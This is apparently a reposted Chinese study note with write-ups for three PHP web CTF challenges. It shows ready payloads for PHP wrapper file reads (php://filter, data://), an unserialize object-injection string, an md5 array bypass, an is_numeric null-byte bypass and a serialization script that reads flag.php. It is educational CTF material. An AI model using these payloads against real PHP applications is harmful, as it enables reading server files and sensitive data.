IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PHP代码审计学习笔记 -> 正文阅读

[PHP知识库]PHP代码审计学习笔记

[ZJCTF 2019]NiZhuanSiWei1??Writeup

打开题目看到源码:

?需要传入三个参数以get的方式:

其中text需要满足:text=welcome?to?the?zjctf

看到include($file);中有提示 useless.php说明我们需要早file中访问useless.php

输入参数发现没有显示,查找资料看到了PHP伪协议

?所以我们要用伪协议传入输入流,也就是构造payload

text=php://input

text=data://text/plain,welcome to the zjctf

至于file可以通过访问useless.php的base64编码,来得到useless.php 也是用到了PHP的伪协议:

file=php://filter/read=convert.base64-encode/resource=useless.php

得到useless.php

<?php ?

class Flag{ ?//flag.php ?

????public $file; ?

????public function __tostring(){ ?

????????if(isset($this->file)){ ?

????????????echo file_get_contents($this->file);

????????????echo "<br>";

????????return ("U R SO CLOSE !///COME ON PLZ");

????????} ?

????} ?

} ?

?> ?

Include($file)在上面,file的payload中访问的useless.php

还有就是password,password在源代码中利用了反序列化:

?$password?=?unserialize($password);

因此我们需要将password里面的值进行序列号化,那password的值需要参考useless.php

<?php ?

class Flag{ ?//flag.php ?

????public $file="flag.php"; ?

????public function __tostring(){ ?

????????if(isset($this->file)){ ?

????????????echo file_get_contents($this->file);

????????????echo "<br>";

????????return ("U R SO CLOSE !///COME ON PLZ");

????????} ?

????} ?

} ?

$a = new Flag();

echo serialize($a);

?>

其实也可以简化成:

<?php ?

class Flag{ ?//flag.php ?

???????public $file="flag.php";

???????????}

$a = new Flag();

echo serialize($a);

?>

最后的payload为: ????????text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

学到的PHP知识:

isset()是判断是否设置了,就是那种需要设置了才存在,没有设置就不存在的

file_get_contents()

[MRCTF2020]Ez_bypassxc writeup

看到源码:

需要以get的方式传入id和gg,满足md5($id) === md5($gg) && $id !== $gg???传入数组实现绕过payload为:url+?gg[]=1&id[]=2 ?然后就是passwd

要以post的方式传入,并且绕过函数if (!is_numeric($passwd))??也以post方式传入不是数字以及数字符串的值,并且要为1234567才能显示flag.php

参考文章(1条消息) php中is_numeric函数的绕过_T0mrvvi1b3t的博客-CSDN博客

?在burp suite中抓包:

?以post传入passwd=1234567%00后得到flag

[网鼎杯 2020 青龙组]AreUSerialz?1??writeup

查看源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class?FileHandler?{

????protected?$op;

????protected?$filename;

????protected?$content;

????function?__construct()?{

????????$op?=?"1";

????????$filename?=?"/tmp/tmpfile";

????????$content?=?"Hello?World!";

????????$this->process();

????}

????public?function?process()?{

????????if($this->op?==?"1")?{

????????????$this->write();

????????}?else?if($this->op?==?"2")?{

????????????$res?=?$this->read();

????????????$this->output($res);

????????}?else?{

????????????$this->output("Bad?Hacker!");

????????}

????}

????private?function?write()?{

????????if(isset($this->filename)?&&?isset($this->content))?{

????????????if(strlen((string)$this->content)?>?100)?{

????????????????$this->output("Too?long!");

????????????????die();

????????????}

????????????$res?=?file_put_contents($this->filename,?$this->content);

????????????if($res)?$this->output("Successful!");

????????????else?$this->output("Failed!");

????????}?else?{

????????????$this->output("Failed!");

????????}

????}

????private?function?read()?{

????????$res?=?"";

????????if(isset($this->filename))?{

????????????$res?=?file_get_contents($this->filename);

????????}

????????return?$res;

????}

????private?function?output($s)?{

????????echo?"[Result]:?<br>";

????????echo?$s;

????}

????function?__destruct()?{

????????if($this->op?===?"2")

????????????$this->op?=?"1";

????????$this->content?=?"";

????????$this->process();

????}

}

function?is_valid($s)?{

????for($i?=?0;?$i?<?strlen($s);?$i++)

????????if(!(ord($s[$i])?>=?32?&&?ord($s[$i])?<=?125))

????????????return?false;

????return?true;

}

if(isset($_GET{'str'}))?{

????$str?=?(string)$_GET['str'];

????if(is_valid($str))?{

????????$obj?=?unserialize($str);

????}

}

进行代码审计:

输入点为以get的方式提交str,这里对str的值进行了反序列化,所以考察的知识点即为构造序列化,

以及在is_valid的函数中对str的值进行了过滤,ASCII必须在32-125之间,通过学习看到了可以利用str进行对file的访问,但op必须等于2时才能进行文件路径的读取。

在这里找到了

(4条消息) [网鼎杯 2020 青龙组]AreUSerialz 1_fmyyy1的博客-CSDN博客? 学习了这篇文章

在process()函数中,传入的op要和"2"比较,在__desturct函数如果等于"2"的话op会被转成1,但__desturct函数里的是=== 等号强比较,process()是==若比较,所以只要传入整数型的2就可绕过,

如果进行构造protected类型的序列化字符串会出现\x00*\x00\x00的ascii的值是0php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过

<?php

class FLAG {

? ? public ?$op = 2;

????public ?$filename = "flag.php";

????public ?$content = "ABC"; ?????

}

$a = new FLAG();

$b = serialize($a);

echo $b;

?>

参考脚本如上:

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-28 12:12:52  更:2021-10-28 12:12:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:50:43-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计